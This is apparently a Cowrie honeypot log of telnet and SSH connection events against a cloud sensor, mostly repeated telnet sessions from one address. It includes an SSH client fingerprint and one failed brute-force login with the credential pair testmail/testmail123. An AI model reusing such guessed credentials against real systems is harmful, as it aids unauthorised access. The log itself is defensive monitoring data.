{"eventid":"cowrie.session.closed","duration":30.54488968849182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:53.329489Z","src_ip":"157.173.110.44","session":"ddba2bacca5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36976,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d7547f8a1d0","protocol":"telnet","message":"New connection: 157.173.110.44:36976 (10.17.0.5:23) [session: 6d7547f8a1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:54.269956Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36990,"dst_ip":"10.17.0.5","dst_port":23,"session":"27c2feb3b9aa","protocol":"telnet","message":"New connection: 157.173.110.44:36990 (10.17.0.5:23) [session: 27c2feb3b9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:54.727937Z"}
{"eventid":"cowrie.session.closed","duration":31.598346710205078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:54.911908Z","src_ip":"157.173.110.44","session":"b7fb5e80731d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173720121383667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:54.958628Z","src_ip":"157.173.110.44","session":"5f1ecd7d43be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36998,"dst_ip":"10.17.0.5","dst_port":23,"session":"adb15ddf178c","protocol":"telnet","message":"New connection: 157.173.110.44:36998 (10.17.0.5:23) [session: adb15ddf178c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:55.292770Z"}
{"eventid":"cowrie.session.closed","duration":31.09636425971985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:55.326632Z","src_ip":"157.173.110.44","session":"1228caee6a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943450212478638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:55.412819Z","src_ip":"157.173.110.44","session":"a8ea4a4d75a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501803159713745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:55.813387Z","src_ip":"157.173.110.44","session":"31b7530f7682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.443371057510376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:56.807891Z","src_ip":"157.173.110.44","session":"cf1192bfe86a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.401585578918457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:59.262049Z","src_ip":"157.173.110.44","session":"6b6a450988e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":34546,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e2e11f2cc76","protocol":"ssh","message":"New connection: 14.225.205.58:34546 (10.17.0.5:22) [session: 6e2e11f2cc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:00.021092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:00.027540Z","src_ip":"14.225.205.58","session":"6e2e11f2cc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:00.305138Z","src_ip":"14.225.205.58","session":"6e2e11f2cc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":37014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d4052e0b452","protocol":"telnet","message":"New connection: 157.173.110.44:37014 (10.17.0.5:23) [session: 6d4052e0b452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:00.668362Z"}
{"eventid":"cowrie.session.closed","duration":31.305482864379883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:01.137641Z","src_ip":"157.173.110.44","session":"aae2f90ffe73","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail123","message":"login attempt [testmail/testmail123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:01.439072Z","src_ip":"14.225.205.58","session":"6e2e11f2cc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70699119567871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:02.236895Z","src_ip":"157.173.110.44","session":"6b67399b5ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:02.722784Z","src_ip":"14.225.205.58","session":"6e2e11f2cc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":42618,"dst_ip":"10.17.0.5","dst_port":23,"session":"589740fe5a96","protocol":"telnet","message":"New connection: 157.173.110.44:42618 (10.17.0.5:23) [session: 589740fe5a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:03.888013Z"}
{"eventid":"cowrie.session.closed","duration":31.43466067314148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:04.500250Z","src_ip":"157.173.110.44","session":"bf8bbdbb19f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10570740699768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:05.670696Z","src_ip":"157.173.110.44","session":"bfd652802c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111812829971313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:05.720031Z","src_ip":"157.173.110.44","session":"3badd2f6bcf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4272d6c7f017","protocol":"telnet","message":"New connection: 157.173.110.44:42620 (10.17.0.5:23) [session: 4272d6c7f017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:05.762463Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":42624,"dst_ip":"10.17.0.5","dst_port":23,"session":"7760a2ee280d","protocol":"telnet","message":"New connection: 157.173.110.44:42624 (10.17.0.5:23) [session: 7760a2ee280d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:05.900111Z"}
{"eventid":"cowrie.session.closed","duration":30.73697543144226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:07.352410Z","src_ip":"157.173.110.44","session":"35fa5e3827a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":42638,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b28fd883d9","protocol":"telnet","message":"New connection: 157.173.110.44:42638 (10.17.0.5:23) [session: 04b28fd883d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:08.355861Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":42648,"dst_ip":"10.17.0.5","dst_port":23,"session":"9587ccd0f154","protocol":"telnet","message":"New connection: 157.173.110.44:42648 (10.17.0.5:23) [session: 9587ccd0f154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:09.777750Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":42664,"dst_ip":"10.17.0.5","dst_port":23,"session":"046db2f7fe47","protocol":"telnet","message":"New connection: 157.173.110.44:42664 (10.17.0.5:23) [session: 046db2f7fe47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:11.355342Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57552,"dst_ip":"10.17.0.5","dst_port":23,"session":"81500970909c","protocol":"telnet","message":"New connection: 157.173.110.44:57552 (10.17.0.5:23) [session: 81500970909c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:12.240564Z"}
{"eventid":"cowrie.session.closed","duration":30.254597902297974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:13.236826Z","src_ip":"157.173.110.44","session":"7a4b955315df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213589668273926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:13.804506Z","src_ip":"157.173.110.44","session":"4cdbdef12194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.768452644348145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:13.836551Z","src_ip":"157.173.110.44","session":"31a7aca39c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233917951583862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:13.842492Z","src_ip":"157.173.110.44","session":"990547aaf3b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df51274bc67","protocol":"telnet","message":"New connection: 157.173.110.44:57566 (10.17.0.5:23) [session: 4df51274bc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:13.889814Z"}
{"eventid":"cowrie.session.closed","duration":30.644444704055786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:14.244445Z","src_ip":"157.173.110.44","session":"1752605fc4f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093793630599976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:14.268640Z","src_ip":"157.173.110.44","session":"a7ddda506490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78752326965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:14.280013Z","src_ip":"157.173.110.44","session":"5c2deb1d4c92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082916021347046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:14.349973Z","src_ip":"157.173.110.44","session":"15176d5b1286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565362453460693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:14.372387Z","src_ip":"157.173.110.44","session":"e7753b7dc9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.816429615020752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:15.995516Z","src_ip":"157.173.110.44","session":"b8e9c4f97efd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528677225112915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:16.412111Z","src_ip":"157.173.110.44","session":"74dd7a6d0072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037481546401978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:16.858202Z","src_ip":"157.173.110.44","session":"68e51e1aac59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57574,"dst_ip":"10.17.0.5","dst_port":23,"session":"e20ef8abddd5","protocol":"telnet","message":"New connection: 157.173.110.44:57574 (10.17.0.5:23) [session: e20ef8abddd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:17.246565Z"}
{"eventid":"cowrie.session.closed","duration":31.119508504867554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:18.210776Z","src_ip":"157.173.110.44","session":"bbf194eae3bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11445951461792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:18.816553Z","src_ip":"157.173.110.44","session":"1c376abd12ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1034574508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:19.286762Z","src_ip":"157.173.110.44","session":"f61475f1a592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482539176940918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:20.190751Z","src_ip":"157.173.110.44","session":"c3540a8d60cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2560875415802,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:20.259960Z","src_ip":"157.173.110.44","session":"fd7eed421f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39944553375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:20.487374Z","src_ip":"157.173.110.44","session":"91e0e0da9402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958744049072266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:22.659961Z","src_ip":"157.173.110.44","session":"499fafbe6898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.572724103927612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:23.249645Z","src_ip":"157.173.110.44","session":"ddacf6794c45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204653024673462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:23.494881Z","src_ip":"157.173.110.44","session":"0a7323dce462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.622843742370605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:23.860395Z","src_ip":"157.173.110.44","session":"1b72b7dbd158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":32920,"dst_ip":"10.17.0.5","dst_port":23,"session":"479b9542f217","protocol":"telnet","message":"New connection: 157.173.110.44:32920 (10.17.0.5:23) [session: 479b9542f217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:24.379103Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":32934,"dst_ip":"10.17.0.5","dst_port":23,"session":"776ddd1d5fb7","protocol":"telnet","message":"New connection: 157.173.110.44:32934 (10.17.0.5:23) [session: 776ddd1d5fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:24.430618Z"}
{"eventid":"cowrie.session.closed","duration":31.896807432174683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:25.037323Z","src_ip":"157.173.110.44","session":"f9425de460d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":32936,"dst_ip":"10.17.0.5","dst_port":23,"session":"c260b6dd92a9","protocol":"telnet","message":"New connection: 157.173.110.44:32936 (10.17.0.5:23) [session: c260b6dd92a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:25.259300Z"}
{"eventid":"cowrie.session.closed","duration":30.56380820274353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:25.291360Z","src_ip":"157.173.110.44","session":"27c2feb3b9aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.440757036209106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:25.710582Z","src_ip":"157.173.110.44","session":"6d7547f8a1d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922651529312134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:26.215275Z","src_ip":"157.173.110.44","session":"adb15ddf178c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":32950,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18a9e6a3745","protocol":"telnet","message":"New connection: 157.173.110.44:32950 (10.17.0.5:23) [session: d18a9e6a3745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:26.249600Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":32956,"dst_ip":"10.17.0.5","dst_port":23,"session":"793539a01bda","protocol":"telnet","message":"New connection: 157.173.110.44:32956 (10.17.0.5:23) [session: 793539a01bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:29.480801Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":32972,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c2c7be81e31","protocol":"telnet","message":"New connection: 157.173.110.44:32972 (10.17.0.5:23) [session: 2c2c7be81e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:30.959261Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.163.67.185","src_port":13932,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7aef74646be","protocol":"telnet","message":"New connection: 45.163.67.185:13932 (10.17.0.5:23) [session: f7aef74646be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:31.169434Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":32980,"dst_ip":"10.17.0.5","dst_port":23,"session":"92bf960b7fe6","protocol":"telnet","message":"New connection: 157.173.110.44:32980 (10.17.0.5:23) [session: 92bf960b7fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:31.416183Z"}
{"eventid":"cowrie.session.closed","duration":31.43770480155945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:32.105924Z","src_ip":"157.173.110.44","session":"6d4052e0b452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39590883255005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:34.283787Z","src_ip":"157.173.110.44","session":"589740fe5a96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48663091659546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:36.386593Z","src_ip":"157.173.110.44","session":"7760a2ee280d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62886381149292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:36.391144Z","src_ip":"157.173.110.44","session":"4272d6c7f017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11933994293213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:39.475062Z","src_ip":"157.173.110.44","session":"04b28fd883d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89684295654297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:40.674458Z","src_ip":"157.173.110.44","session":"9587ccd0f154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":55192,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45c10a4ba31","protocol":"telnet","message":"New connection: 157.173.110.44:55192 (10.17.0.5:23) [session: c45c10a4ba31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:41.528540Z"}
{"eventid":"cowrie.session.closed","duration":31.220784902572632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:42.575988Z","src_ip":"157.173.110.44","session":"046db2f7fe47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":44926,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc1972a32e0e","protocol":"telnet","message":"New connection: 157.173.110.44:44926 (10.17.0.5:23) [session: dc1972a32e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:43.503080Z"}
{"eventid":"cowrie.session.closed","duration":31.31577229499817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:43.556226Z","src_ip":"157.173.110.44","session":"81500970909c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.137546300888062,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:44.306854Z","src_ip":"45.163.67.185","session":"f7aef74646be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52428913116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:44.414010Z","src_ip":"157.173.110.44","session":"4df51274bc67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03748869895935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:48.283914Z","src_ip":"157.173.110.44","session":"e20ef8abddd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":33890,"dst_ip":"159.203.135.109","dst_port":23,"session":"044f4ec93013","protocol":"telnet","message":"New connection: 206.54.191.52:33890 (159.203.135.109:23) [session: 044f4ec93013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:48.389719Z"}
